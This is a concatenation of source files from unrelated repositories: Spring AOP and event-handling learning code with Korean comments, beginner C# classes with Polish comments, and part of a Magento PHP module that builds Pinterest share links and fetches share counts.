@Primary //같은 타입의 빈이 있다면 그 중 한개 선택
@Service
public class ProxySimpleEventService implements EventService{ //AOP로 감싸는 클래스와 같은 인터페이스를 구현해야함
@Autowired
EventService simpleEventService;
@Override
public void createEvent() {
long begin = System.currentTimeMillis();
simpleEventService.createEvent();
System.out.println(System.currentTimeMillis() - begin);
}
@Override
public void publishEvent() {
long begin = System.currentTimeMillis();
simpleEventService.publishEvent();
System.out.println(System.currentTimeMillis() - begin);
}
@Override
public void deleteEvent() {
simpleEventService.deleteEvent();
}
}
<file_sep>/spring-main-tech-06/src/main/java/com/hoon/springaop/PerfAspect.java
package com.hoon.springaop;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.springframework.stereotype.Component;
@Aspect //Aspect 클래스임을 알려줌
@Component //빈으로 등록해줌
public class PerfAspect {
//@Around("execution(* com.hoon.springaop..*.*(..))") //어디에 적용할지. 저렇게 하면 저 아래 모든 패키지의 모든 메소드에 적용됨
@Around("@annotation(PerLoggin)")
//@Around("bean(simpleAopEventService)") //그 빈이 가지고 있는 모든 public 메소드에 적용
public Object logPerf(ProceedingJoinPoint pjp) throws Throwable{ //pjp -> Advice가 적용되는 대상.
long begin = System.currentTimeMillis(); //advice 정의
Object retVal = pjp.proceed();
System.out.println(System.currentTimeMillis() - begin);
return retVal;
}
@Before("bean(simpleAopEventService)") //어떤 메소드가 실행되기 이전에 무언가를 하고 싶을 때
public void hello(){
System.out.println("hello");
}
}
<file_sep>/src/main/java/com/hoon/Application.java
package com.hoon;
import com.hoon.beanReg.BeanReg;
import com.hoon.beanReg.BeanRegConfig;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import java.util.Arrays;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
ApplicationContext applicationContext = new AnnotationConfigApplicationContext(BeanRegConfig.class);
String[] beanDefinitionNames = applicationContext.getBeanDefinitionNames();
System.out.println(Arrays.toString(beanDefinitionNames));
BeanReg beanReg = (BeanReg) applicationContext.getBean("beanReg");
System.out.println(beanReg.beanRegRepository != null);
}
}
<file_sep>/README.md
스프링 메인 기술 학습.<file_sep>/spring-main-tech02/src/main/java/com/hoon/profile/TestBookRepository.java
package com.hoon.profile;
import org.springframework.context.annotation.Profile;
import org.springframework.stereotype.Repository;
@Repository
@Profile("test") //테스트에서 사용할 repository로 정의 가능
public class TestBookRepository implements BookRepository {
}
<file_sep>/spring-main-tech-06/src/main/java/com/hoon/springaop/SimpleAopEventService.java
package com.hoon.springaop;
import org.springframework.stereotype.Service;
@Service
public class SimpleAopEventService implements AopEventService{
@Override
@PerLoggin
public void createEvent() {
try {
Thread.sleep(1000);
System.out.println("Created an Aop event");
} catch(InterruptedException e){
e.printStackTrace();
}
}
@Override
@PerLoggin
public void publishEvent() {
try {
Thread.sleep(2000);
} catch(InterruptedException e){
e.printStackTrace();
}
System.out.println("Published an Aop event");
}
public void deleteEvent(){
System.out.println("Delete an Aop event");
}
}
<file_sep>/spring-main-tech04/src/main/java/com/hoon/databind/EventController.java
package com.hoon.databind;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class EventController {
@InitBinder //컨트롤러에서 사용할 바인더 등록
public void init(WebDataBinder webDataBinder){ //데이터 바인더의 구현체 중 하나
webDataBinder.registerCustomEditor(Event.class, new EventEditor());
}
@GetMapping("/event/{event}")
public String getEvent(@PathVariable Event event){
System.out.println(event);
return event.getId().toString();
}
@GetMapping("/event/eventNm/{eventNm}")
public String getEvent(@PathVariable String eventNm){ //스프링이 기본적으로 컨버터를 등록하지 않아도 String, Integer 이런거는 자동으로 변환해줌.
System.out.println(eventNm);
return eventNm;
}
}
<file_sep>/src/main/java/com/hoon/beanReg/BeanRegRepository.java
package com.hoon.beanReg;
public class BeanRegRepository {
}
<file_sep>/spring-main-tech03/src/main/java/com/hoon/eventpublisher/AnotherHandler.java
package com.hoon.eventpublisher;
import org.springframework.context.event.EventListener;
import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.scheduling.annotation.Async;
import org.springframework.stereotype.Component;
@Component
public class AnotherHandler {
@EventListener
//@Order(Ordered.HIGHEST_PRECEDENCE+2) //동일한 이벤트를 여러개 발생시킬 때 순서를 줄 수 있음
@Async //비동기로 실행 순서 보장 x, order가 의미없음
public void handle(MyEvent myEvent){
System.out.println(Thread.currentThread().toString());
System.out.println("Another" + myEvent.getData());
}
}
<file_sep>/spring-main-tech-06/src/main/java/com/hoon/springaop/PerLoggin.java
package com.hoon.springaop;
import java.lang.annotation.*;
/*
* 이 어노테이션을 사용하면성능을 로깅해 줍니다.
*/
@Retention(RetentionPolicy.CLASS) //이 어노테이션 정보를 어디까지 유지할꺼인지. default가 class임. 구지 런타임까지도 필요없고 기본값으로 해도 됨. source로 하면 컴파일하면 사라짐. class 이상 줌
@Documented //java doc 만들 때
@Target(ElementType.METHOD) //타겟은 method 라고 명시하는거 정도는 괜찮음
public @interface PerLoggin {
}
<file_sep>/src/main/java/com/hoon/book/BookStatus.java
package com.hoon.book;
public enum BookStatus {
DRAFT;
}
| ca47e97bb4d9e233d4ef04f40a6235ecd63fde6f | [
"Markdown",
"Java",
"INI"
] | 14 | Java | byeungoo/spring-main-technology | 7b067edbbe597fca9397dfdfe53e0bbc91202377 | c7d2b1af26d6afa780ea552c0fe2455f43a7e294 | |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.NetworkInformation;
using System.Runtime.Remoting.Messaging;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading.Tasks;
namespace Train101
{
class Program
{
static void Main(string[] args)
{
var dateTime = new DateTime(2017, 2, 21, 12, 27, 0).AddHours(10);
var Tekst = "anything";
var Number = 14;
Produkty p1 = new Produkty(150.66);
Cat Little = new Cat("Little Cat");
Little.showName();
BlackCat c1 = new BlackCat("Black");
c1.showName();
Console.WriteLine(TekstWithValue(Tekst, Number.ToString()));
Console.WriteLine(NowDate());
Console.WriteLine(NewDate(dateTime.ToString()));
Console.WriteLine(NowDate());
Console.ReadLine();
}
static string NowDate()
{
return DateTime.Now.ToLongDateString();
}
static string NewDate(string dateTime)
{
return dateTime; // tutaj za cholerę nie wiem, jak to zrobić z dwomoma parametrami
}
static string TekstWithValue(string Tekst, string Number)
{
return Tekst + "*" + Number;
}
}
class Produkty
{
private double cena;
public Produkty(double cena)
{
this.cena = cena;
}
public void pokazCene()
{
Console.WriteLine(cena);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Train102
{
class Pizza
{
public double cena;
public string nazwa;
public void Dispaly()
{
var NazwaWyswiatlana = "Pizza" + " " + nazwa + " " + "kosztuje" + " " + cena + " " + "zł";
Console.WriteLine(NazwaWyswiatlana);
}
public Pizza(string nazwa, double cena)
{
this.nazwa = nazwa;
this.cena = cena;
}
public Pizza()
{
cena = 0;
nazwa = "";
}
public static void DisplayStatic()
{
Console.WriteLine("to jest statyczna czesc Pizzy");
}
public override string ToString()
{
return base.ToString();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Train101
{
class Cat
{
public string name;
public Cat(string name)// stworzenie konstruktora, ktory pobiera jeden argument name, konstruktor musi miec taka sama nazwe, jak nazwa klasy- w tym przypadku Cat
{
this.name = name;
}
public void showName()
{
Console.WriteLine(name);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Train102
{
class Program
{
static void Main(string[] args)
{
string[] imiona = new string[5];
imiona[0] = "Ala";
imiona[1] = "Gosia";
imiona[2] = "Ania";
imiona[3] = "Franek";
imiona[4] = "John";
Console.WriteLine(imiona[0]);
Console.WriteLine(imiona[1]);
Console.WriteLine(imiona[2]);
Console.WriteLine(imiona[3]);
Console.WriteLine(imiona[4]);
string[] imionka = { "Tomek", "Zosia", "Kalina", "Malwina", "Bartoszek" };
Console.WriteLine(imionka[0]);
Console.WriteLine(imionka[1]);
Console.WriteLine(imionka[2]);
Console.WriteLine(imionka[3]);
Console.WriteLine(imionka[4]);
string[] rodzajePizzy = {"Margarita", "Buenos Aires", "Solidna", "Wiejska", "Miejska", "Niezbyt dobra"};
Console.WriteLine(rodzajePizzy[0]);
Console.WriteLine(rodzajePizzy[1]);
Console.WriteLine(rodzajePizzy[2]);
Console.WriteLine(rodzajePizzy[3]);
Console.WriteLine(rodzajePizzy[4]);
Console.WriteLine(rodzajePizzy[5]);
Calculator calc = new Calculator();
Console.WriteLine(calc.Suma(10,8));
Console.WriteLine(calc.Roznica(10, 5));
Console.WriteLine(calc.Iloczyn(6, 3));
Console.WriteLine(calc.Iloraz(10, 2));
GreekPizza p1 = new GreekPizza();
p1.Dispaly();
DisplayValues(10, 20);
var zwroconaSuma = zwrocSume(5, 8);
Console.WriteLine(zwroconaSuma);
Pizza.DisplayStatic();
Pizza greek = new GreekPizza();
greek.Dispaly();
Console.ReadLine();
//1. Stwórz tablice zawierającą pięć imion
//2.Stwórz inne rodzaje Pizzy(nazwy wymysl) i stwórz listę z różnymi rodzajami Pizzy
}
static void DisplayValues(int a, int b)
{
Console.WriteLine("A = " + a);
Console.WriteLine("B = " + b);
Console.WriteLine("iloczyn A i B =" + a * b);
}
static int zwrocSume(int x, int y)
{
var suma = x + y;
return suma;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Train101
{
class BlackCat : Cat
{
public BlackCat(string name) : base(name)
{
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Train102
{
class GreekPizza : Pizza
{
public GreekPizza()
{
this.cena = 10;
this.nazwa = "GreakPizza";
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Train101
{
class Calculator
{
public int Sum(int x, int y)
{
var sum = y
return x + y;
}
public int Roz(int x, int y)
{
return x - y;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Train102
{
class Calculator
{
public int Suma(int x, int y)
{
var suma = x + y;
return suma;
}
public int Roznica(int x, int y)
{
var roznica = x - y;
return roznica;
}
public int Iloczyn(int x, int y)
{
var iloczyn = x * y;
return iloczyn;
}
public int Iloraz(int x, int y)
{
var iloraz = x / y;
return iloraz;
}
}
}
| 2f488849868a398b828ce19a4a04bc9208e8859e | [
"C#"
] | 8 | C# | gosiakzw/Training1 | 3995a94207cbdc9ae97c682a47ca743589f1ea1c | aa403fdc12461e471c6e6a7ceb7cf5da8550fc6f | |
refs/heads/main | <repo_name>brendanforester/instrument-store<file_sep>/script.js
new Vue({
el: "#instrument-store",
data: {
newName: "",
newType: "",
newBrand: "",
newPrice: "",
count: 0,
addInstrument: true,
submitTwo: true,
cart: [],
cards: [
{
name: "Piano",
image:
"https://cdnm2-kraftmusic.netdna-ssl.com/media/catalog/product/cache/3fedc8207dcd37094c7cd808f4dc6b12/c/a/cas-ap270bk_angle.jpg",
type: "Percussion",
brand: "yamaha",
price: "$970",
popUp: false
},
{
name: "Guitar",
image:
"https://images-na.ssl-images-amazon.com/images/I/51RFApv%2BmbL._AC_SL1200_.jpg",
type: "String",
brand: "fender",
price: "$750",
popUp: false
},
{
name: "Drums",
image:
"https://images-na.ssl-images-amazon.com/images/I/71eIgXWPJ2L._AC_SL1500_.jpg",
type: "Percussion",
brand: "maton",
price: "$420",
popUp: false
},
{
name: "Violin",
image:
"https://www.corilon.com/media/image/c9/34/57/79_1_1_1890x1890.jpg",
type: "String",
brand: "yamaha",
price: "$170",
popUp: false
},
{
name: "Flute",
image:
"https://images-na.ssl-images-amazon.com/images/I/31P2TjeREkL._AC_.jpg",
type: "Woodwind",
brand: "fender",
price: "$150",
popUp: false
},
{
name: "Trumpet",
image:
"https://images-na.ssl-images-amazon.com/images/I/712ZyImPK8L._AC_SL1500_.jpg",
type: "Brass",
brand: "maton",
price: "$450",
popUp: false
}
]
},
methods: {
addInstrument: function (index) {
this.cards[index].addInstrument = !this.cards[index].addInstrument;
},
closeLook: function (index) {
this.cards[index].popUp = !this.cards[index].popUp;
},
addNew: function () {
this.cards.push({
name: this.newName,
type: this.newType,
brand: this.newBrand,
price: this.newPrice,
popUp: false,
submitTwo: false
});
this.newName = "";
this.newType = "";
this.newBrand = "";
this.newPrice = "";
},
submit: function () {
this.count += 1;
}
// clearCart:
}
}); | 73064b68aae45aef76418b202312027667a29948 | [
"JavaScript"
] | 1 | JavaScript | brendanforester/instrument-store | 80e93f75db242c41b87cd322d70a867286177823 | 6d93275b3d0b74f38e76943937a04d69324525dd | |
refs/heads/master | <repo_name>tylerjroach/SlidingShareSelector<file_sep>/README.md
# SlidingShareSelector - Android
An adaptable BottomSheetDialogFragment that shows a scrolling list of recent photos, along with a grid of custimizable icons for sharing.
![demo](preview.gif?raw=true "Demo Preview")
## How to use
Make sure your app has permission for android.permission.READ_EXTERNAL_STORAGE
Create a list of share actions by passing a drawable, background color, and callback id for each option.
```
final ShareSelectorOption[] shareOptions = new ShareSelectorOption[] {
new ShareSelectorOption(R.drawable.ic_camera_alt_white_24dp, R.color.green, SELECTION_CAMERA),
new ShareSelectorOption(R.drawable.ic_videocam_white_24dp, R.color.red, SELECTION_VIDEO),
new ShareSelectorOption(R.drawable.ic_image_white_24dp, R.color.blue, SELECTION_GALLERY),
new ShareSelectorOption(R.drawable.ic_place_white_24dp, R.color.purple, SELECTION_LOCATION)
};
```
Show the sliding selector by instantiating the fragment and calling show().
```
addMedia = (ImageButton) findViewById(R.id.add_media);
addMedia.setOnClickListener(new View.OnClickListener() {
@Override public void onClick(View v) {
if (getSupportFragmentManager().findFragmentByTag(SlidingShareSelector.class.getName()) == null) {
SlidingShareSelector slidingShareSelector = SlidingShareSelector.newInstance(shareOptions, true);
slidingShareSelector.show(getSupportFragmentManager(), SlidingShareSelector.class.getName());
}
}
});
```
Take action based on the callback received
```
@Override public void onThumbnailClicked(Uri thumbUri) {
dismissShareSelector();
SelectedImageDialogFragment.newInstance(thumbUri.toString()).show(getSupportFragmentManager(), SelectedImageDialogFragment.class.getName());
}
@Override public void onShareOptionClicked(int optionId) {
String selection = "";
switch (optionId) {
case SELECTION_CAMERA:
selection = "Camera";
break;
case SELECTION_VIDEO:
selection = "Video";
break;
case SELECTION_GALLERY:
selection = "Gallery";
break;
case SELECTION_LOCATION:
selection = "Location";
break;
}
dismissShareSelector();
Toast.makeText(this, "Selected: " + selection, Toast.LENGTH_SHORT).show();
}
```
## Comments
Feel free to suggest any additions or create pull requests.
This was created in a couple of hours and doesn't have many configuration options.
Documentation is also non-existent, but the code should be simple to figure out.
##Future Updates (Time Permitting)
Post to MavenCentral - For now, build aar manually<br>
Fix lazy paddings/margins/itemdecorations to properly follow material design<br>
Add documentation to code<br>
Add more customization options
##Known Issues
I haven't taken into account a users gallery could be empty
## License
```
Copyright 2016 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
<file_sep>/app/src/main/java/com/tylerjroach/slidingshareselector/example/ui/screens/SelectedImageDialogFragment.java
package com.tylerjroach.slidingshareselector.example.ui.screens;
import android.content.Context;
import android.net.Uri;
import android.os.Bundle;
import android.support.v4.app.DialogFragment;
import android.support.v7.app.AppCompatActivity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import com.squareup.picasso.Picasso;
import com.tylerjroach.slidingshareselector.example.R;
public class SelectedImageDialogFragment extends DialogFragment {
private static final String CONTENT_PATH = "CONTENT_PATH";
private AppCompatActivity ACA;
private ImageView imageView;
private Uri contentUri;
public SelectedImageDialogFragment() {}
public static SelectedImageDialogFragment newInstance(String contentPath) {
SelectedImageDialogFragment fragment = new SelectedImageDialogFragment();
Bundle args = new Bundle();
args.putString(CONTENT_PATH, contentPath);
fragment.setArguments(args);
return fragment;
}
@Override public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (getArguments() != null) {
contentUri = Uri.parse(getArguments().getString(CONTENT_PATH));
}
setStyle(DialogFragment.STYLE_NORMAL, android.R.style.Theme_Black_NoTitleBar_Fullscreen);
}
@Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
// Inflate the layout for this fragment
View rootView = inflater.inflate(R.layout.fragment_selected_image_dialog, container, false);
imageView = (ImageView) rootView.findViewById(R.id.image);
Picasso.with(ACA).load(contentUri).fit().centerCrop().into(imageView);
return rootView;
}
@Override public void onAttach(Context context) {
super.onAttach(context);
ACA = (AppCompatActivity) context;
}
@Override public void onDetach() {
super.onDetach();
ACA = null;
}
}
<file_sep>/slidingshareselector/src/main/java/com/tylerjroach/slidingshareselector/ui/screens/RecentsRecyclerAdapter.java
package com.tylerjroach.slidingshareselector.ui.screens;
import android.content.ContentUris;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.MediaStore;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import com.squareup.picasso.Picasso;
import com.tylerjroach.slidingshareselector.R;
import com.tylerjroach.slidingshareselector.data.Thumbnail;
import com.tylerjroach.slidingshareselector.storage.DbHelper;
import com.tylerjroach.slidingshareselector.ui.adapters.CursorRecyclerAdapter;
/**
* Created by @tylerjroach on 10/3/16.
*/
public class RecentsRecyclerAdapter
extends CursorRecyclerAdapter<RecentsRecyclerAdapter.ThumbnailViewHolder> {
private Context context;
private ThumbnailSelectionListener listener;
public RecentsRecyclerAdapter(ThumbnailSelectionListener listener, Cursor cursor, Context context) {
super(cursor);
this.context = context;
this.listener = listener;
}
@Override public ThumbnailViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v = LayoutInflater.from(parent.getContext()).inflate(viewType, parent, false);
ThumbnailViewHolder vh = new ThumbnailViewHolder(v);
return vh;
}
@Override public void onBindViewHolderCursor(final ThumbnailViewHolder holder, final Cursor cursor, int position) {
final Thumbnail thumbnail = ((DbHelper.ThumbnailCursor) cursor).getThumbnail();
final Uri imageUri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, thumbnail.getId());
Picasso.with(context).load(imageUri).fit().centerCrop().into(holder.thumbnail);
holder.thumbnail.setOnClickListener(new View.OnClickListener() {
@Override public void onClick(View v) {
if (listener != null)
listener.onThumbnailSelected(imageUri);
}
});
}
@Override public int getItemViewType(int position) {
return R.layout.grid_square_thumbnail;
}
public static class ThumbnailViewHolder extends RecyclerView.ViewHolder {
private ImageView thumbnail;
public ThumbnailViewHolder(View v) {
super(v);
thumbnail = (ImageView) v.findViewById(R.id.thumbnail);
}
}
public interface ThumbnailSelectionListener {
void onThumbnailSelected(Uri imageUri);
}
}
<file_sep>/slidingshareselector/src/main/java/com/tylerjroach/slidingshareselector/data/ShareSelectorOption.java
package com.tylerjroach.slidingshareselector.data;
import android.os.Parcel;
import android.os.Parcelable;
/**
* Created by tylerjroach on 10/3/16.
*/
public class ShareSelectorOption implements Parcelable {
private int drawableRes;
private int backgroundColorRes;
private int callbackId;
public ShareSelectorOption(int drawableRes, int backgroundColorRes, int callbackId) {
this.drawableRes = drawableRes;
this.backgroundColorRes = backgroundColorRes;
this.callbackId = callbackId;
}
public int getDrawableRes() {
return drawableRes;
}
public void setDrawableRes(int drawableRes) {
this.drawableRes = drawableRes;
}
public int getBackgroundColorRes() {
return backgroundColorRes;
}
public void setBackgroundColorRes(int backgroundColorRes) {
this.backgroundColorRes = backgroundColorRes;
}
public int getCallbackId() {
return callbackId;
}
public void setCallbackId(int callbackId) {
this.callbackId = callbackId;
}
@Override public int describeContents() {
return 0;
}
@Override public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(this.drawableRes);
dest.writeInt(this.backgroundColorRes);
dest.writeInt(this.callbackId);
}
protected ShareSelectorOption(Parcel in) {
this.drawableRes = in.readInt();
this.backgroundColorRes = in.readInt();
this.callbackId = in.readInt();
}
public static final Parcelable.Creator<ShareSelectorOption> CREATOR =
new Parcelable.Creator<ShareSelectorOption>() {
@Override public ShareSelectorOption createFromParcel(Parcel source) {
return new ShareSelectorOption(source);
}
@Override public ShareSelectorOption[] newArray(int size) {
return new ShareSelectorOption[size];
}
};
}
<file_sep>/slidingshareselector/src/main/java/com/tylerjroach/slidingshareselector/ui/screens/SelectionRecyclerAdapter.java
package com.tylerjroach.slidingshareselector.ui.screens;
import android.content.Context;
import android.database.Cursor;
import android.graphics.Rect;
import android.graphics.drawable.GradientDrawable;
import android.support.v4.content.ContextCompat;
import android.support.v7.widget.GridLayoutManager;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import com.tylerjroach.slidingshareselector.R;
import com.tylerjroach.slidingshareselector.data.ShareSelectorOption;
import com.tylerjroach.slidingshareselector.ui.views.ForegroundImageView;
/**
* Created by @tylerjroach on 10/3/16.
*/
public class SelectionRecyclerAdapter extends RecyclerView.Adapter<SelectionRecyclerAdapter.BaseViewHolder> {
private final int VIEW_TYPE_RECENTS_SLIDER = 1;
private final int VIEW_TYPE_GRID_ITEM = 2;
private Context context;
private RecyclerView selectionRecycler;
private RecentsRecyclerAdapter recentsRecyclerAdapter;
private LinearLayoutManager recentsLayoutManager;
private OptionSelectedListener listener;
private ShareSelectorOption[] shareSelectorOptions;
private boolean roundIconBackground;
public SelectionRecyclerAdapter(ShareSelectorOption[] shareSelectorOptions,
RecyclerView selectionRecycler,
RecentsRecyclerAdapter recentsRecyclerAdapter,
LinearLayoutManager recentsLayoutManager,
boolean roundIconBackground,
OptionSelectedListener optionSelectedListener,
final Context context) {
this.shareSelectorOptions = shareSelectorOptions;
this.selectionRecycler = selectionRecycler;
final GridLayoutManager selectionRecyclerLayoutManager = (GridLayoutManager) this.selectionRecycler.getLayoutManager();
selectionRecyclerLayoutManager.setSpanSizeLookup(new GridLayoutManager.SpanSizeLookup() {
@Override public int getSpanSize(int position) {
if (position == 0 && selectionRecyclerLayoutManager != null)
//position 0 is recents header
return selectionRecyclerLayoutManager.getSpanCount();
else
return 1;
}
});
this.recentsRecyclerAdapter = recentsRecyclerAdapter;
this.recentsLayoutManager = recentsLayoutManager;
this.roundIconBackground = roundIconBackground;
this.listener = optionSelectedListener;
this.context = context;
}
// Create new views (invoked by the layout manager)
@Override public BaseViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
if (viewType == VIEW_TYPE_RECENTS_SLIDER) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.layout_nested_thumbnail_recycler, parent, false);
return new NestedRecyclerViewHolder(v);
} else if (viewType == VIEW_TYPE_GRID_ITEM) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.share_option, parent, false);
return new OptionViewHolder(v);
}
return null;
}
// Replace the contents of a view (invoked by the layout manager)
@Override public void onBindViewHolder(BaseViewHolder holder, final int position) {
if (holder.getItemViewType() == VIEW_TYPE_RECENTS_SLIDER)
return;
int arrayPosition = position - 1;
final ShareSelectorOption shareSelection = shareSelectorOptions[arrayPosition];
OptionViewHolder optionViewHolder = (OptionViewHolder) holder;
optionViewHolder.imageView.setImageDrawable(context.getResources().getDrawable(shareSelection.getDrawableRes()));
if (roundIconBackground) {
optionViewHolder.imageView.setBackground(context.getResources().getDrawable(R.drawable.circle_background));
GradientDrawable bgShape = (GradientDrawable) optionViewHolder.imageView.getBackground();
bgShape.setColor(ContextCompat.getColor(context, shareSelection.getBackgroundColorRes()));
} else {
optionViewHolder.imageView.setBackgroundColor(ContextCompat.getColor(context, shareSelection.getBackgroundColorRes()));
}
optionViewHolder.imageView.setOnClickListener(new View.OnClickListener() {
@Override public void onClick(View v) {
if (listener != null)
listener.onOptionSelected(shareSelection.getCallbackId());
}
});
}
@Override public int getItemViewType(int position) {
if (position == 0) {
return VIEW_TYPE_RECENTS_SLIDER;
}
return VIEW_TYPE_GRID_ITEM;
}
@Override public int getItemCount() {
int optionsAvailable = 0;
if (shareSelectorOptions != null)
optionsAvailable = shareSelectorOptions.length;
return 1 + optionsAvailable;
}
public static class BaseViewHolder extends RecyclerView.ViewHolder {
public BaseViewHolder(View v) {
super(v);
}
}
public class NestedRecyclerViewHolder extends BaseViewHolder {
RecyclerView nestedRecyclerView;
public NestedRecyclerViewHolder(View v) {
super(v);
nestedRecyclerView = (RecyclerView) v.findViewById(R.id.nested_thumbnail_recycler);
nestedRecyclerView.setHasFixedSize(true);
nestedRecyclerView.setNestedScrollingEnabled(false);
nestedRecyclerView.addItemDecoration(new RecyclerView.ItemDecoration() {
@Override public void getItemOffsets(Rect outRect, View view, RecyclerView parent,
RecyclerView.State state) {
super.getItemOffsets(outRect, view, parent, state);
int sideMargin = context.getResources().getDimensionPixelSize(R.dimen.slidingshareselector_thumbnail_grid_side_margin);
int topBottomMargin = context.getResources().getDimensionPixelSize(R.dimen.slidingshareselector_thumbnail_grid_top_bottom_margin);
outRect.top = topBottomMargin;
outRect.bottom = topBottomMargin;
outRect.left = sideMargin;
outRect.right = sideMargin;
}
});
if (recentsLayoutManager != null)
nestedRecyclerView.setLayoutManager(recentsLayoutManager);
if (recentsRecyclerAdapter != null)
nestedRecyclerView.setAdapter(recentsRecyclerAdapter);
}
}
public class OptionViewHolder extends BaseViewHolder {
ForegroundImageView imageView;
public OptionViewHolder(View v) {
super(v);
imageView = (ForegroundImageView) v.findViewById(R.id.icon);
}
}
public void setRecentsCursor(Cursor cursor) {
if (recentsRecyclerAdapter != null)
recentsRecyclerAdapter.swapCursor(cursor);
}
public interface OptionSelectedListener {
void onOptionSelected(int optionId);
}
}
| 8486f7d363d8dfeda4e5ee0df5226ede6704ba5d | [
"Markdown",
"Java"
] | 5 | Markdown | tylerjroach/SlidingShareSelector | 84768125e5984b1335dc33db5c0dc2d52a2ccd12 | 72a95a452d5179679d6cad58484feeb7d30710af | |
refs/heads/master | <repo_name>karliuka/m1.Share<file_sep>/app/code/community/Faonni/Share/Model/Resource/Pinterest.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Model_Resource_Pinterest
extends Faonni_Share_Model_Resource_Abstract
{
/**
* The token URL
*
* @var string
*/
protected $_shareUrl = 'http://pinterest.com/pin/create/link/';
/**
* The count URL
*
* @var string
*/
protected $_countUrl = 'http://api.pinterest.com/v1/urls/count.json?callback=count&url=';
/**
* The URL used when authenticating a user after the question mark ?
*
* @var array
*/
protected $_shareQuery = array(
/**
* The URL of the page to share. This value should be url encoded
*
* @var string
*/
'url' => '',
/**
* The image of the page to share. This value should be url encoded
*
* @var string
*/
'media' => '',
/**
* The description of the page to share. This value should be url encoded
*
* @var string
*/
'description' => '',
);
/**
* Get Full Share URL
*
* @return string
*/
public function getShareUrl()
{
$this->_shareQuery = array_merge(
$this->_shareQuery, array(
'url' => $this->getShareObject()->getUrl(),
'media' => htmlspecialchars($this->getShareObject()->getImage()),
'description' => $this->getShareObject()->getTitle()
)
);
return $this->_shareUrl . '?' . http_build_query($this->_shareQuery);
}
/**
* Get count
*
* @return int
*/
public function loadCount($url)
{
$response = $this->request($this->_countUrl . urlencode($url));
if ($response->isSuccessful()){
$data = preg_replace('#^count\((.*)\)$#si', '\\1', $response->getBody());
$json = json_decode($data, true);
if(isset($json['count'])) return intval($json['count']);
}
return null;
}
}<file_sep>/app/code/community/Faonni/Share/Model/Resource/Provider/Collection.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Model_Resource_Provider_Collection
extends Varien_Data_Collection
{
/**
* Social share setting path
*
* @var string
*/
const XML_PROVIDER_DATA = 'faonni_share';
/**
* Load data
*
* @param bool $printQuery
* @param bool $logQuery
* @return Faonni_Share_Model_Resource_Provider_Collection
*/
public function load($printQuery=false, $logQuery=false)
{
if(empty($this->_items)){
$items = Mage::getStoreConfig(self::XML_PROVIDER_DATA);
foreach ($items as $group => $item){
if('common' == $group) continue;
$provider = Mage::getModel('faonni_share/provider', $item);
if($provider->isAvailable()) $this->addItem($provider);
}
}
